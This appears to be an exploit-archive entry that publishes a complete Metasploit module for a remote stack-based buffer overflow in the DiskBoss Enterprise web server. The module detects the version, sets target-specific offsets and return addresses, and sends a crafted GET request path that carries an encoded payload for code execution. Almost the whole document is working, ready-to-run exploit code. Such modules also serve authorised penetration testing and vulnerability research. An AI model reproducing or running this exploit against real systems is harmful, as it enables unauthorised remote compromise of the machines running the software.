DiskBoss Enterprise GET Buffer Overflow

2017.01.14
Credit: Gabor Seljan
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'DiskBoss Enterprise GET Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in the web interface of DiskBoss Enterprise v7.5.12 and v7.4.28, caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'vportal', # Vulnerability discovery and PoC 'Gabor Seljan' # Metasploit module ], 'References' => [ ['EDB', '40869'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x09\x0a\x0d\x20", 'Space' => 2000 }, 'Targets' => [ [ 'Automatic Targeting', { 'auto' => true } ], [ 'DiskBoss Enterprise v7.4.28', { 'Offset' => 2471, 'Ret' => 0x1004605c # ADD ESP,0x68 # RETN [libpal.dll] } ], [ 'DiskBoss Enterprise v7.5.12', { 'Offset' => 2471, 'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll] } ] ], 'Privileged' => true, 'DisclosureDate' => 'Dec 05 2016', 'DefaultTarget' => 0)) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => '/' ) if res && res.code == 200 if res.body =~ /DiskBoss Enterprise v7\.(4\.28|5\.12)/ return Exploit::CheckCode::Vulnerable elsif res.body =~ /DiskBoss Enterprise/ return Exploit::CheckCode::Detected end else vprint_error('Unable to determine due to a HTTP connection timeout') return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def exploit mytarget = target if target['auto'] mytarget = nil print_status('Automatically detecting the target...') res = send_request_cgi( 'method' => 'GET', 'uri' => '/' ) if res && res.code == 200 if res.body =~ /DiskBoss Enterprise v7\.4\.28/ mytarget = targets[1] elsif res.body =~ /DiskBoss Enterprise v7\.5\.12/ mytarget = targets[2] end end if !mytarget fail_with(Failure::NoTarget, 'No matching target') end print_status("Selected Target: #{mytarget.name}") end sploit = make_nops(21) sploit << payload.encoded sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length) sploit << [mytarget.ret].pack('V') sploit << rand_text_alpha(2500) send_request_cgi( 'method' => 'GET', 'uri' => sploit ) end end


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